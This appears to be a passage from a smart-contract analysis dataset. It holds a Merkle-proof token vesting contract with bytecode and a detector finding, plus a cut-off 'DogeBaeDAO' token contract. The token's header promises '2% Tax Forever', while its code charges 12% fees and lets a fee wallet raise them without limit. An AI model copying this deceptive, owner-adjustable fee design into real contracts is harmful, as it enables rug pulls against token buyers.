f168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122035f8ac5599287343fe2dc40ba0c5691cb2c4d7cbe831e8675cd1fb4c651a303b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,895
0xbfc14fd3d39db48e7237d168341e3627eef79c5b
pragma solidity ^0.5.12; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } //TODO add safemath interface IDPR { function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool); function transfer(address _to, uint256 _amount) external returns(bool); function balanceOf(address _owner) external view returns(uint256); } contract MerkleClaim { using SafeMath for uint256; bytes32 public root; IDPR public dpr; //system info address public owner; uint256 public total_release_periods = 276; uint256 public start_time = 1621900800; //北京时间 2021 年 05 月 25 日 08:00 // uer info mapping(address=>uint256) public total_lock_amount; mapping(address=>uint256) public release_per_period; mapping(address=>uint256) public user_released; mapping(bytes32=>bool) public claimMap; mapping(address=>bool) public userMap; //=====events======= event claim(address _addr, uint256 _amount); event distribute(address _addr, uint256 _amount); event OwnerTransfer(address _newOwner); //====modifiers==== modifier onlyOwner(){ require(owner == msg.sender); _; } constructor(bytes32 _root, address _token) public{ root = _root; dpr = IDPR(_token); owner = msg.sender; } function transferOwnerShip(address _newOwner) onlyOwner external { require(_newOwner != address(0), "MerkleClaim: Wrong owner"); owner = _newOwner; emit OwnerTransfer(_newOwner); } function setClaim(bytes32 node) private { claimMap[node] = true; } function distributeAndLock(address _addr, uint256 _amount, bytes32[] memory proof) public{ require(block.timestamp >= start_time, "MerkleClaim: Claim not start"); require(!userMap[_addr], "MerkleClaim: Account is already claimed"); bytes32 node = keccak256(abi.encodePacked(_addr, _amount)); require(!claimMap[node], "MerkleClaim: Account is already claimed"); require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed"); //update status setClaim(node); lockTokens(_addr, _amount); userMap[_addr] = true; emit distribute(_addr, _amount); } function lockTokens(address _addr, uint256 _amount) private{ total_lock_amount[_addr] = _amount; release_per_period[_addr] = _amount.div(total_release_periods); } function claimTokens() external { require(total_lock_amount[msg.sender] != 0, "User does not have lock record"); require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed"); uint256 periods = block.timestamp.sub(start_time).div(1 days); uint256 total_release_amount = release_per_period[msg.sender].mul(periods); if(total_release_amount >= total_lock_amount[msg.sender]){ total_release_amount = total_lock_amount[msg.sender]; } uint256 release_amount = total_release_amount.sub(user_released[msg.sender]); // update user info user_released[msg.sender] = total_release_amount; require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough"); require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed"); emit claim(msg.sender, release_amount); } function unreleased() external view returns(uint256){ return total_lock_amount[msg.sender].sub(user_released[msg.sender]); } function withdraw(address _to) external onlyOwner{ require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed"); } function pullTokens(uint256 _amount) external onlyOwner{ require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed"); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80637e0db6cc11610097578063c7fef17e11610066578063c7fef17e146104b8578063ebf0c717146104d6578063f03d6672146104f4578063f63013aa14610512576100ff565b80637e0db6cc146103de578063834ee4171461040c5780638863dd1a1461042a5780638da5cb5b1461046e576100ff565b806348c54b9d116100d357806348c54b9d146102e057806351cff8d9146102ea57806356d6e72d1461032e578063621f7b0a14610386576100ff565b8062ec4e4a14610104578063118df67e146101e657806322d761c31461023e5780632bcc23f814610284575b600080fd5b6101e46004803603606081101561011a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184602083028401116401000000008311171561019557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061055c565b005b610228600480360360208110156101fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ab565b6040518082815260200191505060405180910390f35b61026a6004803603602081101561025457600080fd5b81019080803590602001909291905050506108c3565b604051808215151515815260200191505060405180910390f35b6102c66004803603602081101561029a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e3565b604051808215151515815260200191505060405180910390f35b6102e8610903565b005b61032c6004803603602081101561030057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b005b6103706004803603602081101561034457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611207565b6040518082815260200191505060405180910390f35b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121f565b6040518082815260200191505060405180910390f35b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050611237565b005b610414611440565b6040518082815260200191505060405180910390f35b61046c6004803603602081101561044057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611446565b005b6104766115ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c0611610565b6040518082815260200191505060405180910390f35b6104de611616565b6040518082815260200191505060405180910390f35b6104fc61161c565b6040518082815260200191505060405180910390f35b61051a6116b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6004544210156105d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a20436c61696d206e6f742073746172740000000081525060200191505060405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610677576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611b026027913960400191505060405180910390fd5b60008383604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001925050506040516020818303038152906040528051906020012090506008600082815260200190815260200160002060009054906101000a900460ff1615610750576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611b026027913960400191505060405180910390fd5b61075d82600054836116da565b6107cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4d65726b6c65436c61696d3a20566572696679206661696c656400000000000081525060200191505060405180910390fd5b6107d881611792565b6107e284846117c1565b6001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e8484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b60056020528060005260406000206000915090505481565b60086020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5573657220646f6573206e6f742068617665206c6f636b207265636f7264000081525060200191505060405180910390fd5b6000610a4c600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b11610abf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f616c6c20746f6b656e20686173206265656e20636c61696d656400000000000081525060200191505060405180910390fd5b6000610aeb62015180610add6004544261186190919063ffffffff16565b6118ab90919063ffffffff16565b90506000610b4182600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f590919063ffffffff16565b9050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110610bcc57600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000610c20600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361186190919063ffffffff16565b905081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d0657600080fd5b505afa158015610d1a573d6000803e3d6000fd5b505050506040513d6020811015610d3057600080fd5b81019080805190602001909291905050501015610db5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f7567680081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e5e57600080fd5b505af1158015610e72573d6000803e3d6000fd5b505050506040513d6020811015610e8857600080fd5b8101908080519060200190929190505050610f0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b7faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110b357600080fd5b505afa1580156110c7573d6000803e3d6000fd5b505050506040513d60208110156110dd57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561115757600080fd5b505af115801561116b573d6000803e3d6000fd5b505050506040513d602081101561118157600080fd5b8101908080519060200190929190505050611204576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b50565b60066020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461129157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561139057600080fd5b505af11580156113a4573d6000803e3d6000fd5b505050506040513d60208110156113ba57600080fd5b810190808051906020019092919050505061143d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c656481525060200191505060405180910390fd5b50565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611543576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4d65726b6c65436c61696d3a2057726f6e67206f776e6572000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60005481565b60006116af600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186190919063ffffffff16565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082905060008090505b85518110156117845760008682815181106116fd57fe5b602002602001015190508083116117445782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250611776565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b5080806001019150506116e6565b508381149150509392505050565b60016008600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181a600354826118ab90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006118a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061197b565b905092915050565b60006118ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a3b565b905092915050565b6000808314156119085760009050611975565b600082840290508284828161191957fe5b0414611970576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b296021913960400191505060405180910390fd5b809150505b92915050565b6000838311158290611a28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119ed5780820151818401526020810190506119d2565b50505050905090810190601f168015611a1a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611ae7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611aac578082015181840152602081019050611a91565b50505050905090810190601f168015611ad95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611af357fe5b04905080915050939250505056fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820e5b4b1cfa62bb472aaa1fba54a025443031cee9af426c23aea921c2f9c1f43c764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,896
0xc04baf7efe9bd4c9fdf6ecb55d0a49d22c718e56
/** https://t.me/DogeBaeEth https://www.DogeBaeDAO.com - 2% Tax Forever - Join our TG & Visit website for all details */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DogeBaeDAO is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"DogeBae DAO"; //// string public constant symbol = unicode"DOGEBAE"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (30 minutes)) { fee += 4; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 20000000001 * 10**9; // 2% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit 